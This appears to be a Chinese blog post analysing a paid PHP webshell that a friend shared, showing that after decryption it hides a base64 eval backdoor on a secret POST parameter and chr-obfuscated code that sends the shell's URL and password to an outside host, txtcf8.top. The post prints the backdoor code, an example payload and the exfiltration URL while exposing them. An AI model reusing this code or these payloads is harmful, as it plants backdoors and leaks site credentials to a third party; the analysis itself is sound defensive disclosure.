0x001
一个好兄弟发了一个PHP免杀大马给我 让我分享一下有没有后门
下载回来一看 发现是加密的 他说这个大马还需要花钱 我想着都要花钱了 应该是好东西
暂时还不知道什么加密 只能丢到解密平台去看看能不能识别
0x002
丢到解密平台后发现是noname1加密 那就顺手解了就好了
解密之后发现一个好玩的地方
代码1-4行
if(isset($_POST['CODEOKOK'])){
@eval(base64_decode($_POST['CODEOKOK']));
exit("1");
}
这不很明显的一个post么 eval执行方式是base64
CODEOKOK=cGhwaW5mbygpOw==
就可以了 在看登录之后的操作
0x003
代码的32-41行就是一个chr变量 运行后的结果是file_get_conents
$chars = array(
102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115,
104, 116, 116, 112, 58, 47, 47,
63, 115, 104, 101, 108, 108, 61,
38, 112, 97, 115, 115, 61
);
$func_name = '';
for ($i = 0; $i < 17; $i++) {
$func_name .= chr($chars[$i]);
}
继续跟踪$func_name 发现还有一个chr的变量转换 执行之后发现是一个拼接传输
$domain_parts = array();
$domain_parts[] = chr(116) . chr(120) . chr(116) . chr(99) . chr(102) . chr(56);
$domain_parts[] = chr(46) . chr(116) . chr(111) . chr(112);
$domain_parts[] = chr(47) . chr(104) . chr(109) . chr(51) . chr(46) . chr(112) . chr(104) . chr(112);
$domain = $domain_parts[0] . $domain_parts[1];
$path = $domain_parts[2];
$param1 = '';
for ($i = 24; $i < 31; $i++) {
$param1 .= chr($chars[$i]);
}
$param2 = '';
for ($i = 31; $i < 37; $i++) {
$param2 .= chr($chars[$i]);
}
$final_url = $u1 . $domain . $path . $param1 . $current_url . $param2 . $pwd;
var_dump($final_url);die;
$request_sent = false;
if (!$request_sent && function_exists('call_user_func')) {
if (function_exists($func_name)) {
@call_user_func($func_name, $final_url);
$request_sent = true;
}
}
以上47-74行代码的内容
$final_url = $u1 . $domain . $path . $param1 . $current_url . $param2 . $pwd;
这里完成了一个拼接 然后在71行的时候 利用了call_user_func($func_name, $final_url)来做的一个file_get_contents
这样子就导致了 只要登录成功 大马地址(完整路径)+密码都会传输过去他那边的端接收
0x004 结束了
shell后门地址:http://txtcf8.top/hm3.php?shell=http://www.shenji.com/s88.php&pass=88xiaoqiao **
他的官方网址:https://www.tools88.top/
兄弟们晚安了 睡觉